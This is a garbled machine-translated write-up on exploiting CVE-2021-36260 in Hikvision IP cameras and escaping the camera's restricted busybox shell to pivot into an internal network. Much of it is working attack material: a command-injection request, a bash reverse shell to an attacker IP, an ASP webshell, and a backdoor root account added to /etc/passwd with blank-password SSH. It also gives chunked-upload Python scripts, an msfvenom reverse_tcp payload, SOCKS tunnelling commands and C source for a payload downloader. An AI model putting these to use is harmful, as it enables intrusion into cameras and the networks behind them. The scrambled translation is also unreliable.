RCE обнаружил нарушение оболочки с ограниченным доступом
RCE обнаружил нарушение оболочки с ограниченным доступом

0x00 Введение

В одном сервисном проекте речь шла об атаке и использовании камер Hikvision, для чего требовалось получить камеру. shell,Создать агента, тогда сделай две вещи

  • Боковая атака на внутреннюю сеть
  • угнать потоковое видео

Поскольку версия системы камеры Hikvision в самой среде имеет лазейки, обычно это не должно вызвать затруднений. Однако после обнаружения мы должны были столкнуться с некоторыми проблемами. После тестирования мы обнаружили, что у Hikvision возникла проблема с оборудованием. shell Настроены и кастрированы в различных функциях

Далее мы исследуем этот ограниченный shell Как прорваться

Поскольку локальная среда доступна только в течение короткого периода времени, а систему Hikvision кажется непросто построить с использованием виртуальной машины, чтобы предоставить вам наиболее реалистичный опыт, я специально купил устройство Hikvision для тестирование. DS-2CD2310-I

0x01 CVE-2021-36260

Уведомление об уязвимости https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/

Статьи по анализу уязвимостей https://kms.app/archives/399/ http://f0und.icu/article/31.html

PoC-адрес https://github.com/Cuerz/CVE-2021-36260 https://github.com/Aiminsun/CVE-2021-36260

Проще говоря, это система подачи web в виде xml Тег передачи формата, Нет завершает проверку безопасности в процессе синтаксического анализа тега, в результате чего существует За Процесс сращивания команд кулисами вызвал Понятное введение команды

PoC Пакет данных выглядит следующим образом

Язык кода:javascript
копировать
PUT /SDK/webLanguage HTTP/1.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: x.x.x.x
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US,en;q=0.9,sv;q=0.8
Content-Length: 71

<?xml version="1.0" encoding="UTF-8"?><language>$(ls -l>webLib/c)</language>

Приведенная выше команда будет ls -al Результаты выполнения записываются в текущий каталог webLib/c файл, а затем напрямую получить доступ к корневому каталогу /c Вот и все

Посмотреть, что написано в аналитической статье, вы также можете $ Заменить на #,действительныйпротестируй это (только существует я покупаю изкамеру под тест) и неосуществимо

После кодирования URL

Эта уязвимость интегрирована в инструмент Railgun и может быть реализована непосредственно с его помощью, чтобы избежать необходимости каждый раз отправлять два запроса на просмотр.

https://github.com/lz520520/railgun

0x02 установить стабильный контроль

Обычно было бы очень просто добраться сюда напрямую. curl или wget Программу управления можно разместить в режиме онлайн.

1. Удаленная загрузка

curl или ВОЗ wget

Видно, что нет payload.elf

На сервере загрузки не найден доступ.

Все еще нет доступа

Разве нет этих двух команд? использовать which и whereis Найдите его и получите первым pwd Протестируйте программу

Выполнение команды не возвращает никаких результатов. Здесь много возможностей, например, в системе. pwd только shell Встроенные команды, никаких внешних файлов, для этого можно обратиться к предыдущим статьям. 《LD_PRELOAD угнать PWD почему не удалось | Linux Серия «Бэкдор»》

https://mp.weixin.qq.com/s/InMQaKOwns2mEIp5yF8dDw

Это также возможно whereis и which Самой команды не существует

Это легко проверить, просто найдите его в переменной окружения. PATH , найдите программы, которые должны существовать и сравните результаты.

Вы можете видеть, что мы все еще root Разрешения пользователя,PATH Результаты следующие:

Язык кода:javascript
копировать
PATH=/sbin:/usr/sbin:/bin:/usr/bin

Как видите, это устройство shell окружающая среда состоит из busybox предоставлено, то мы будем использовать busybox Программа как пример

Кажется,Нетэтот две программы, которые проверяют, существуют ли команда и инструмент, могут использовать только переменные среды. PATH и busybox Встроенный список

Как видите, команды, связанные с загрузкой файлов ftpscprsync и т. д. не поддерживаются

Язык кода:javascript
копировать
[, [[, ash, awk, bash, cat, chmod, cp, date, df, dmesg, du, echo, env, false, fdisk, free, fsync, gunzip, gzip, halt, hwclock, ifconfig, init, insmod, iostat, kill, linuxrc, ln, login, ls, lsmod, lzcat, lzma, mdev, mkdir, mkdosfs, mkfs.vfat, mknod, modprobe, mount, mpstat, mv, netstat, ping, ping6, poweroff, ps, pwd, reboot, rm, rmmod, route, sed, sh, sleep, stty, sync, tail, tar, test, top, touch, true, umount, unlzma, zcat

и Внешнее сетевое подключение т.е. ping Связанные команды

2. Отскок снаряда

  • bash
  • nc、telnet
  • языковая среда программирования
Язык кода:javascript
копировать
bash -i >& /dev/tcp/192.168.1.125/4444 0>&1

Это потому, что он не подключен к Интернету? протестируй это ping

Язык кода:javascript
копировать
ping -t 1 192.168.1.125

Не удалось, похоже, он не поддерживается

Язык кода:javascript
копировать
nc -nv 192.168.1.125 4444

Не получилось, действительно я этого не видел nc или ВОЗ netcat команду, перейдите к пути выполнения переменной среды и найдите ее.

После тестирования среда выполнения команд пригодна для ; и | Поддержка не очень хорошая и ее нет grep , может только ls -al Мы взяли результаты и проанализировали их здесь.

не найдено nc и netcat и тому подобноеиз,Можетосуществлятьдокументсерединана самом деле В основном/binВнизиз busybox предоставленные команды, а также da_info поставлятьиз,Очевидно, есть большая вероятность, что последняя часть будет разработана самой Hikvision.,эти команды тесно связаны с реальными функциями продукта Связанный

Вы можете видеть, что это динамически связанный файл ELF, основанный на архитектуре ARM, из которого удалена информация о символах.

Вы можете использовать команду для перечисления или обратного анализа ELF, чтобы увидеть, будет ли метод удаленного управления, но метода удаленного управления не существует. da_info Возможно, только Haikang из оборудования, не является универсальным методом, мы не проводим углубленного изучения этого метода, только проходимосуществовать взгляни banner

не найдено Можеткпрямойиспользоватьиз

Среда языка программирования также не найдена

3. Webshell

Это само по себе web Система, по-прежнему asp Да? Linux на asp Это действительно редкость, я просто напишу один asp Разве все не было бы кончено, если бы вошел троянский конь?

Найти первым web путь, от эксплойта PoC Можетк Знать,./webLib Соответствующий каталог должен быть корневым.

прямой доступ index.asp и dispatch.asp Перейду к Авторизации /doc/page/login.asp ,Тогда сначала найдите страницу Авторизоваться Связанныйиз путь Бар,возможно, к этому будет проще получить доступ,Абсолютный путь выглядит следующим образом

Язык кода:javascript
копировать
/home/webLib/doc/page

проходить echo писать Webshell

Язык кода:javascript
копировать
<%
Response.CharSet = "UTF-8" 
k="e45e329feb5d925b" 'Ключ длясоединять пароль 32-битное значение md5 из первых 16 цифр, пароль по умолчанию используется повторно
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>

Используется здесь Railgun Пользоваться не очень удобно. Burpsuite Бар

Я пишу это в двух частях, потому что длина исполняемых команд для этой уязвимости ограничена и не одинакова.

доступ к веб-шеллу

Кажется, что никакого анализа нет. Ледяной Скорпион это связывает. Если мармелад есть, а мармелад нет, сделайте три полюса.

Как и ожидалось, не удалось подключиться

Почему он не анализируется? Взгляните на другие asp Есть ли в этом файле что-то особенное?

Вроде ничего asp код

Кажется, это ничего asp,И это может быть собственный формат синтаксического анализа.

Нет в системе lsof , поэтому используйте netstat Узнайте, какая программа запустила это 80 порт

Как видите, это вызвано человеком по имени davinci изпрограмма,существовать Онлайн такжене найдено Связанныйматериал,Кажется, это одноименная программа для редактирования. Понятно.

Поэтому я попытался найти эту программу

Язык кода:javascript
копировать
ls -al /proc/331/exe

Он находится в текущем каталоге, но был удален, согласно 《Linux Советы по руководству по реагированию на чрезвычайные ситуации -> 0x08 Восстановление данных, попробуйте восстановить программу

fd В папке документов много содержимого, но и нет найдено deleted Логотип. Уведомление! Его можно восстановить. Подробную информацию см. в руководстве по чрезвычайным ситуациям следующей версии. существовать maps можно увидеть в файле davinci место в памяти

Восстановить файлы из памяти непросто, и ключевая проблема сейчас в том, что файловый инструмент невозможно загрузить. Если его можно загрузить, то он уже давно находится под контролем.

В процессе отправки файлов были обнаружены следующие файлы:

Язык кода:javascript
копировать
/home/davinci.lzma    // После сжатия программа lzma -d davinci.lzma к Разархивировать
/dav/davinci_bak

Можно рассмотреть обратный анализ программы. При прямом выполнении уязвимых мест не обнаружено.

4. SSH

Вышеупомянутое сначала попробовало оболочку удаленной загрузки и отскока, связанную с обратным управлением, а также попробовало Webshell с прямым управлением, но они не увенчались успехом. Поскольку это была тестовая среда, я знал, что она находится вне сети, поэтому я так и сделал. Не проверяйте ситуацию вне сети.

Нет nctelnet и тому подобноеизинструмент,Просто используйте существующий сервис для мониторпорта Понятно,ssh Сервис - хороший выбор, и это тоже PoC способы использования

Эта камера от Hikvision ssh дапроходить dropbear от, а не от OpenSSH

https://matt.ucc.asn.au/dropbear/dropbear.html

Это приводит к запуску раньше OpenSSH Команды не имеют никакого эффекта.

текущий ssh Кажется, Нет включен, ноот netstat Результат выполнения команды показывает, что она включена.

PoC серединаиспользовать dropbear -R -B -p 1337 существовать 1337 монитор настройки порта, а также Новый Понятно аккаунт, не требующий пароля из

эта операционная система веб-камеры используется /etc/passwd Поскольку мы несем ответственность за управление учетными записями и паролями, мы root Разрешения, вы можете добавлять учетные записи напрямую

1) Добавить аккаунт
Язык кода:javascript
копировать
echo "P::0:0:W:/:/bin/sh" >> /etc/passwd

такого рода операции, связанные с перенаправлением, не следует выполнять Railgun Изучить Понятно, это может быть потому, что для хочет отображать результаты, поэтому к имеет Понятное перенаправление вывода по умолчанию, а наши перенаправления из конфликтуют друг с другом, поэтому используйте Burpsuite Это будет хорошо

2) Создайте новый прослушиватель SSH.
Язык кода:javascript
копировать
dropbear -R -B -p 1337

этот Заказ тоже естьсуществовать Burpsuite Казнен, я не знаю,почему Railgun серединаосуществлятьвстреча Нет Эффект

  • -R:При необходимости создайте ключи хоста
  • -B:позволятьпустой пароль Авторизоваться
  • -p 1337:Эта опция указывает на начало Dropb
3) Проверка SSH-соединения

успех Авторизоваться SSH

нравитьсяиспользовать FinalShell Друзьям нужно обратить внимание на FinalShell Все еще нет поддерживается Нетпарольиз SSH соединять

4) Добавить аккаунт с паролем

Не записывайте открытый ключ,Написание учетной записи связано с тем, что написание учетной записи относительно просто и легко в использовании.,иметьпарольиниктопарольна самом деле Разница в том,существовать В /etc/passwd второе место

нас Можеткв соответствии стекущий Операционная системаиз правилгенерироватьодининдивидуальныйпароль,к Создать user/userpass Например

Язык кода:javascript
копировать
$1$yi$edpzE7hM/R4nw3PnFuiVL/

admin Значение хэша заключается в том, что пароль был md5 Шифрование и соль Значение yi

существоватьмы самииз Ubuntu Установить на whois ,ипроходить mkpasswd генерировать Hash

Язык кода:javascript
копировать
sudo apt install whois
mkpasswd -m md5 --salt=SaltValue userpass

mkpasswd Содержание соли должно быть не менее 8 ибо мы будем 12345678 как значение соли

Язык кода:javascript
копировать
$1$12345678$sEgioVKWacw6d9iYXc1P4/

Полная картина после сращивания следующая.

Язык кода:javascript
копировать
user:$1$12345678$sEgioVKWacw6d9iYXc1P4/:0:0:W:/:/bin/sh

직접проходит SSH,использовать кот Воляконтентписать /etc/passwd , не забудьте использовать добавление >>,и

этот ssh Также установите некоторые политики безопасности для Понятно, после неправильного пароля Авторизоваться (например, провести FinalShell попытка авторизоваться), приведет к бану по IP

использовать user/userpass проходить FinalShell Авторизоваться

На данный момент оболочка ssh успешно получена. Некоторая часть вышеперечисленного содержимого является предзнаменованием. Далее мы подробно обсудим это.

0x03 Вырваться из ограниченных оболочек

Хотя у меня есть разрешения SSH, я не могу загружать файлы или устанавливать прокси.

1. Передача файлов по SSH

Язык кода:javascript
копировать
cat payload.elf | ssh -v -p 1337 P@192.168.1.64 'cat > payload.elf'

Жаль, что не удалось

2. SFTP/SCP/FTP

теперь это FinalShell Все Можетксоединятьначальство Понятно,да Нетда Можеткпрямойиспользовать Его биографиядокумент Понятно

FinalShell по умолчаниювстречаиспользовать SFTP или SCP ,FinalShell Предполагается, что некоторые протоколы не будут работать, если будет сообщено об ошибке, но все ещехотетьпротестируй это

1) SCP
Язык кода:javascript
копировать
scp -v -P 1337 payload.elf P@192.168.1.64:/home/payload.elf

Не удалось. После запроса информации выяснилось, что значение по умолчанию. Dropbear не поддерживается SCP из

2) SFTP
Язык кода:javascript
копировать
sftp -P 1337 user@192.168.1.64

Не удалось. После запроса информации выяснилось, что значение по умолчанию. Dropbear Не поддерживается SFTP

3) FTP

И нет 21 ожиданиепорт открыт

3. Оболочка отскока Bash

Раньше не удалось понять,Из-за неполного отображения ранее,Не знаю причину неудачи,Теперь вы можете попробовать еще раз

Кажется, busybox удаляет эти функции, включая UDP

4. проходить Web За кулисамипытатьсязагрузить

CVE-2021-36260 изавтор Watchful_IP существуютлазейки описание процесса введение Понятно доступно ксуществовать получить SSH shell назадпроходить Запрещать web Способ аутентификациииспользовать любой пароль Авторизоваться

https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

но Автор Нет подробно описывает, как реализовать из, следующее: Github Исследователи безопасности по этому поводу обсуждают, проще говоря: Исправлять, что из базы данных, добавить в учетную запись, а затем перезапустить, но в настоящее время мы не можем использовать инструмент загрузки, не говоря уже о том, чтобы Исправить Sqlite База данных

https://github.com/jorhelp/Ingram/discussions/9

5. Используйте SSH-туннелирование

теперь это SSH Он установлен, и вы можете напрямую использовать его туннельную функцию для атаки на внутреннюю сеть.

В этом нет необходимости в командной строке. Это очень интуитивно понятный инструмент. —— MobaXterm

https://mobaxterm.mobatek.net/

этот Это очень интуитивно понятно Понятно,мы выбираем динамический порт вперед, следуя подсказкам заполняем местное актерское мастерствомониторпортк ИделатьдлясерединаизменятьизSSHсерверинформация

Нажмите кнопку «Пуск»

проходить Proxifier Настройте прокси и проверьте, успешно ли он работает

https://www.proxifier.com/

этотвнутри Воля 127.0.0.1 этот весь местный трафик идет актерский мастерство,Браузердоступ 127.0.0.1

актерское успех мастерства, но это еще не очевидно, Создать агентаизэтотбашня Windows Сегмент сети – это 192.168.31.x ,нассуществовать 192.168.1.x Найти сервер и забанить 192.168.31.x и маршрутизация 192.168.1.97 изсоединять,этот Образец Сразу Можетктестактерское Успешно ли мастерство?

Имитируемый изолированный хост: 192.168.1.126

Правила следующие:

  • позволять 192.168.1.0/24 доступ 80
  • запретить 192.168.1.97 (роутер) доступ 80
  • запретить 192.168.31.0/24 (штурмовик) доступ 80
  • запретить 192.168.1.125 (VPS) доступ 80

Установить апач2

Язык кода:javascript
копировать
sudo apt install apache2

Штурмовики близкое актерское мастерствоназад Можеткпрямой доступ Что 80 порт

Добавить брандмауэр

проходить Принесите свой собственныйиз ufw завершить

Язык кода:javascript
копировать
# Включить брандмауэр
sudo ufw enable

# добавить вотклонятьдоступ 192.168.1.97 из правил
sudo ufw deny from 192.168.1.97

# добавить вотклонятьдоступ 192.168.31.0/24 Сеть из правил
sudo ufw deny from 192.168.31.0/24

# добавить вотклонятьдоступ 192.168.1.125 из правил
sudo ufw deny from 192.168.1.125

# добавить впозволятьдоступ 80 портиз правил
sudo ufw allow from 192.168.1.0/24 to any port 80

Атакующая машина получает доступ после закрытия прокси 80 порт

использоватькамера Hikvisionделатьдляактерское мастерство,сновадоступ

Успешно установлена ​​Понятное соединение с интранетом изактерское мастерство.

6. проходить echo записать файл

Обычно переходите к предыдущему шагу актерское Мастерство постройки выполнено, осталось только выполнить боковое проникновение. Понятно, но это еще не все из RCE У всех есть возможность создать ssh туннель, нам нужно найти более общий метод. Самый общий метод должен быть. echo записать файл Понятно

Если это текстовый документ, мы напрямую подаем cat Его можно записать, но двоичный исполняемый файл использует cat Не очень хорошо писать Понятно, выше мы также попробуем конвейер Понятно принять. + cat , тоже не получилось

Если вы хотите создать двоичный процесс, вы можете использовать PoC конструкции, необходимо сделать бинарный документ изучить читаемым, символы из закодированной формы, для обычных систем часто воля можно сделать бинарный документ изучить base64 Кодирование, затем передача, носуществовать ограничено из shell в и предоставлено Нет base64 Инструмент декодирования, используемый каждый раз 16 Кодируйте в базовом формате, и закодированный контент передается echo -n -e писатьприезжатьдокументсередина

  • -n запретитьдобавить всимвол новой строки
  • -e Включить escape-символ при синтаксическом анализе

эти два варианта эффективно воля в шестнадцатеричном представлении из двоичного кода может постепенно изучать документ и записывать его в документ.

Итак, кетот включает в себя два шага

  1. Волядвоичный Можетосуществлятьдокумент Конвертироватьдля \x00 этот формат
  2. Пишите цикл Волядокумент понемногу.

Используйте один непосредственно в этом Python Скриптзавершить

Язык кода:javascript
копировать
import requests
import sys
import urllib.parse

def read_string(string, chunk_size=2000):
    start = 0
    while start < len(string):
        end = start + chunk_size
        chunk = string[start:end]
        yield chunk
        start = end

# Создание заголовков запросов
headers = {
    'User-Agent': 'python-requests/2.22.0',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Connection': 'close',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}

def sendPayload(target, poc_data):
    # Установите данные для отправки
    data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
    url = urllib.parse.urljoin(target, 'SDK/webLanguage')

    # Отправить запрос
    response = requests.put(url, headers=headers, data=data)
    
    # Обдумать отвечает кодом состояния, ожидая, чтобы убедиться, что запрос успешен
    if response.status_code == 500:
        return True
    return False

if len(sys.argv) < 3:
    print("Usage: python script.py <target_address> <file_path>")
    sys.exit(1)

target = sys.argv[1]
file_path = sys.argv[2]

with open(file_path, 'rb') as file:
    elf_data = file.read()

hex_string = ''.join(['\\x{:02x}'.format(byte) for byte in elf_data])

hex_string_len = len(hex_string)
print(hex_string_len)

# Динамические настройки Host Поле
headers['Host'] = urllib.parse.urlparse(target).netloc

i = 0
for chunk in read_string(hex_string, chunk_size=120):
    result = sendPayload(target, chunk)
    if not result:
        print('send again')
        result = sendPayload(target, chunk)
    if result:
        print(str(i) + '/' + str(hex_string_len))
        i += 120
    else:
        print('Request failed.')
        sys.exit(1)

print('Over')
1) Создать файл полезной нагрузки

прямойиспользовать MSF значительность, нам нужно знать Архитектура процессора, 32 все еще 64 битовый процессор, обратный порядок байтоввсе ещес прямым порядком байтов

похожий archlscpu Некоторые команды существуют в настоящеесредствесередина ВсеNet, вы можете просмотреть следующие команды кпроходить

Язык кода:javascript
копировать
cat /proc/cpuinfo

можно увидеть CPU для ARM926EJ-S rev 5 (v5l) , после запроса это ARM Архитектуры, 32 Бит процессора

размерENDэто одно, что мы можем котсервер скачать, несколько, можно изучить документ, взгляни, это большой конец, все еще маленький конец из

к /bin/da_info и /bin/busybox Например

проходить Ghidra провести анализ

https://github.com/NationalSecurityAgency/ghidra

Перетащите файлы прямо в Ghidra Вот и все, рекомендуется выполнить этот шаг на виртуальной машине

можно увидеть,показыватьиз Вседа LE , с прямым порядком байтов

ловить Вниз Приходитьпроходить msfvenom генерировать payload

Язык кода:javascript
копировать
msfvenom -p linux/armle/meterpreter/reverse_tcp -a armle RHOST=192.168.1.125 RPORT=443 --platform linux -f elf -o payload.elf

Размер всего 344 байта

2) проходитьechoписатьприезжатьсервер

Знаем ли мы часть перед началом,Атакующие пакеты подлежат ограничениям,Конкретный лимит еще не установлен.,Каждое устройство отличается

Мы можем выполнить следующий скрипт для грубого теста:

Язык кода:javascript
копировать
import requests
import sys
import urllib.parse

# Создание заголовков запросов
headers = {
    'User-Agent': 'python-requests/2.22.0',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Connection': 'close',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}

def sendPayload(target, poc_data):
    # Установите данные для отправки
    data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" > webLib/payload.txt)</language>'
    url = urllib.parse.urljoin(target, 'SDK/webLanguage')

    # Отправить запрос
    response = requests.put(url, headers=headers, data=data)
    
    # Обдумать отвечает кодом состояния, ожидая, чтобы убедиться, что запрос успешен
    if response.status_code == 500:
        return True
    return False


def getPayloadLength(target):
    url = urllib.parse.urljoin(target, 'payload.txt')
    response = requests.get(url, headers=headers)
    p_length = len(response.text)
    return p_length


def testPayloadLength(target):
    # Динамические настройки Host Поле
    headers['Host'] = urllib.parse.urlparse(target).netloc

    # Ограничение длины пакета
    length = 4
    while True:
        chunk = 'A' * length
        result = sendPayload(target, chunk)
        p_length = getPayloadLength(target)

        if result and length > p_length:
            print(f"Payload length: {length - 4}")
            break
        length += 4

if len(sys.argv) < 2:
    print("Usage: python script.py <target_address>")
    sys.exit(1)

target = sys.argv[1]

testPayloadLength(target)

Если у вас есть скрипт «Исправлять Понятно», рекомендуется уменьшить это число и уменьшить его. 4 из целых кратных, это к 180 Например,Исправлятьechoписать Скрипт

Язык кода:javascript
копировать
import requests
import sys
import urllib.parse

def read_string(string, chunk_size=100):
    start = 0
    while start < len(string):
        end = start + chunk_size
        chunk = string[start:end]
        yield chunk
        start = end

# Создание заголовков запросов
headers = {
    'User-Agent': 'python-requests/2.22.0',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Connection': 'close',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}

def sendPayload(target, poc_data):
    # Установите данные для отправки
    data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
    url = urllib.parse.urljoin(target, 'SDK/webLanguage')

    # Отправить запрос
    response = requests.put(url, headers=headers, data=data)
    
    # Обдумать отвечает кодом состояния, ожидая, чтобы убедиться, что запрос успешен
    if response.status_code == 500:
        return True
    return False

if len(sys.argv) < 3:
    print("Usage: python script.py <target_address> <file_path>")
    sys.exit(1)

target = sys.argv[1]
file_path = sys.argv[2]

with open(file_path, 'rb') as file:
    elf_data = file.read()

hex_string = ''.join(['\\x{:02x}'.format(byte) for byte in elf_data])

hex_string_len = len(hex_string)
print(hex_string_len)

# Динамические настройки Host Поле
headers['Host'] = urllib.parse.urlparse(target).netloc

i = 0
for chunk in read_string(hex_string, chunk_size=180):
    result = sendPayload(target, chunk)
    if not result:
        print('send again')
        result = sendPayload(target, chunk)
    if result:
        print(str(i) + '/' + str(hex_string_len))
        i += 180
    else:
        print('Request failed.')
        sys.exit(1)

print('Over')
3) Порт прослушивания MSF
4) Добавьте разрешения и выполните полезную нагрузку

Успешно восстановите оболочку и протестируйте загруженный файл.

Файл успешно загружен

5) Создать агента

https://github.com/fatedier/frp https://github.com/fatedier/frp/releases/download/v0.55.1/frp_0.55.1_linux_arm.tar.gz

скачать arm 32-я версия

существоватьпытатьсяпроходить meterpreter Сделать загрузку frp час,Результат передается наполовину,meterpreter Оно прекратилось, а потом появилось снова

Кажетсяда Перезапуск Понятно,Все предыдущие операции провалились,это очень удобно использовать для удаления следов Понятно

Давайте не будем веселиться посреди невзгод, сейчас в существовании есть две идеи

  • meterpreter продолжатьзагрузить
  • прямой Воля frp ждать echo входить
    • Но сначала echo Простейшее устройство для поиска для входа
    • скачатьустройство Можетк Нетда Универсальныйскачать,Просто от кого-то адресскачивает чей-то документ,Может быть меньше

Какой метод выбрать? существоватья Кажется meterpreter Метод из лучше, но давайте реализуем оба из них, и сначала реализуем одну часть. meterpreter

Используйте сценарий еще раз для загрузки, установления мониторинга, предоставления разрешений и выполнения.

загрузить фрп

Хорошо Бар, Кажется, это не производительность оборудования Hikvision действительно нет этапы Мы доставляем напрямую 11 Программа Миз

Загрузить ew

ew намного меньше, всего 195К

Создать прокси

https://github.com/idlefire/ew

Атакующая машина VPS (192.168.1.125) имитирует публичный IP

Язык кода:javascript
копировать
./ew -s rcsocks -l 1080 -e 8888

Создать мониторинг прокси 1080 порт,и Воляданныепроходить 8888 портпередай это дальше

Камера жертвы (192.168.1.64)

Язык кода:javascript
копировать
./ew -s rssocks -d 192.168.1.125 -e 8888      

Физическая машина атакующей машины (192.168.31.x)

существование Предыдущий шаг, который мы делаем Понятно изолировать,192.168.1.126 Разрешено только в одном сегменте сети 192.168.1.97 доступ

использовать socks5://192.168.1.125:1080 доступ http://192.168.1.126

пытатьсяиспользоватьактерское мастерстводоступ

Агент успешно установлен

0x04 Использовать загрузчик

этот В некоторых местах много ям,Мне потребовалось несколько дней, чтобы найти решение,Далее Воля показывает процесс наступления на яму.,Я постараюсь быть кратким,Не обращайте внимания на ямы

проходитьначальстволапшаизшаг,Нам удалось осуществить фактический контроль,но Прямая установка троянских коней может оказать значительную нагрузку на сами некоторые устройства.,Особенно такого рода встроенные устройства,Мне приходилось перезапускать так много раз,каждый раз Перезапускоборудованиена Троянский коньждать Следы будут полностью удалены.Понятно

Представьте, что мы передали первыми MSF Троянец, позже использованный meterpreter передача инфекции Понятноактерское мастерствоили ВОЗ攻击программа,использовать Понятно Устройство вылетело через некоторое время,Перезапуск,Все вернулось на круги своя, как было раньше,Итак, мы входим в цикл «Понимание».,Но проблема в том,,Этими циклами управляют люди.,Не инженерия,это не преследуется во время осуществления фактической атаки из

Мы также надеемся, что часть содержания этого материала носит инженерный характер.,И поскольку набор команд другой,Различный Троянский коньпрограммаиактерское Совместима ли программа мастерства – тоже огромная проблема.

В этом разделе мы представим некоторые распространенные идеи, используемые злоумышленниками.,То есть сначала передать небольшую искачку,Изназад Использовать загрузчикскачатьнастоящийизpayload,конечно Понятно,на самом делеписать meterpreter изприрода То же самое

Некоторые друзья могут сказать,это не сложно,Нужно ли это говорить отдельно??

это написано отдельно, потому что для включает в себя написание загрузки и кроссплатформенную компиляцию ожидания.

wget и curl Так как Понятно имеет много функций, размер относительно большой, поэтому лучше сделать одну. ew Понятно

1. Написать загрузчик

Далее мы напишем минимальное устройство для скачивания с функцией загрузки. http://192.168.1.125/a

Язык кода:javascript
копировать
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/types.h>

#define BUFFER_SIZE 4096

int main(void) {
    const char *host = "192.168.1.125";
    const char *path = "/a";
    const char *output_file = "payload";
    const int port = 80;

    struct sockaddr_in server_address;
    int sockfd, filefd;
    char request[256];
    char buffer[BUFFER_SIZE];
    ssize_t bytes_read;
    int start_writing = 0;  // Flag to start writing to file

    // Create socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        fprintf(stderr, "Error creating socket\n");
        return 1;
    }

    // Set server address
    memset(&server_address, 0, sizeof(server_address));
    server_address.sin_family = AF_INET;
    server_address.sin_port = htons(port);
    if (inet_pton(AF_INET, host, &(server_address.sin_addr)) <= 0) {
        fprintf(stderr, "Invalid address or address not supported\n");
        close(sockfd);
        return 1;
    }

    // Connect to server
    if (connect(sockfd, (struct sockaddr *)&server_address, sizeof(server_address)) < 0) {
        fprintf(stderr, "Error connecting to server\n");
        close(sockfd);
        return 1;
    }

    // Send HTTP GET request
    snprintf(request, sizeof(request), "GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", path, host);
    if (write(sockfd, request, strlen(request)) < 0) {
        fprintf(stderr, "Error sending request\n");
        close(sockfd);
        return 1;
    }

    // Open output file
    filefd = open(output_file, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (filefd < 0) {
        fprintf(stderr, "Error opening file for writing\n");
        close(sockfd);
        return 1;
    }

    // Read and write response data
    while ((bytes_read = read(sockfd, buffer, BUFFER_SIZE)) > 0) {
        // Check if the response headers have ended
        if (!start_writing) {
            char *body_start = strstr(buffer, "\r\n\r\n");
            if (body_start != NULL) {
                start_writing = 1;
                bytes_read -= (body_start - buffer + 4);
                memcpy(buffer, body_start + 4, bytes_read);
            } else {
                continue;
            }
        }

        if (write(filefd, buffer, bytes_read) < 0) {
            fprintf(stderr, "Error writing to file\n");
            close(filefd);
            close(sockfd);
            return 1;
        }
    }

    // Check for read error
    if (bytes_read < 0) {
        fprintf(stderr, "Error reading response\n");
        close(filefd);
        close(sockfd);
        return 1;
    }

    // Close file and socket
    close(filefd);
    close(sockfd);

    return 0;
}

Если вы продолжите заниматься малым,Можно удалить некоторую обработку ошибок,При этом также убран вывод Воля в документ.,Вывод непосредственно на стандартный вывод,Изназадосуществлятьизчасждатьпроходить Перенаправлениеприезжатьдокументзавершитьдокументдержать

2. Попробуйте скомпилировать программу

Большинство моих друзей и оборудования x86 из,наснуждатьсяхотетьсуществовать x86 из CPU компилировать на arm Архитектура из программы

Эта операциясредадля Ubuntu Server 22.04 x86_64

1) gcc

непосредственно в системе apt install gcc Установитьиз gcc очевиднода Нет能использовать Вкомпилировать Понятно,придется Установить Целевая платформа зависит отизgcc,И только тогда я обнаружил,одинarm Связанный gcc Вообще говоря, существуют как минимум следующие типы

  • arm-none-eabi-gcc
  • aarch64-linux-gnu-gcc
  • arm-linux-gnueabi-gcc
  • arm-linux-gnueabihf-gcc

это обнаружено на этот раз ARM Архитектура Версия и подобные довольно сложны, gcc Существует несколько методов классификации:

Основные различия между различными архитектурами Arm GCC (GNU Compiler Collection) отражают следующие аспекты:

  1. Поддержка целевой архитектуры
    • GCCизразличные Версия может поддерживать разные архитектуры Arm.,Например, ARMv5TE, ARMv7-A, ARMv8-A (AArch32/AArch64). Каждая версия может существовать в различной степени поддержки определенных архитектурных особенностей.,Напримерарифметика с плавающей запятойодин Юань(FPU)、Режим большого пальца、NEON Ожидание расширения SIMD.
  2. Совместимость с ABI
    • ABI(Application Binary Интерфейс) определяет, как Понятный двоичный документ взаимодействует с операционной системой. Различные версии GCC могут соответствовать разным спецификациям ABI, например EABI (Embedded ABI)、Hard/Soft Float ABIждать. эти спецификации повлияют на соглашения о вызове функций.、Макет типа данных ожидание.
  3. Поддержка стандартной библиотеки C++.
    • В разных версиях GCC поддержка стандартов C++ также будет разной.,Например, C++98, C++11, C++14, C++17ждать.
  4. Уровень оптимизации и исправления ошибок
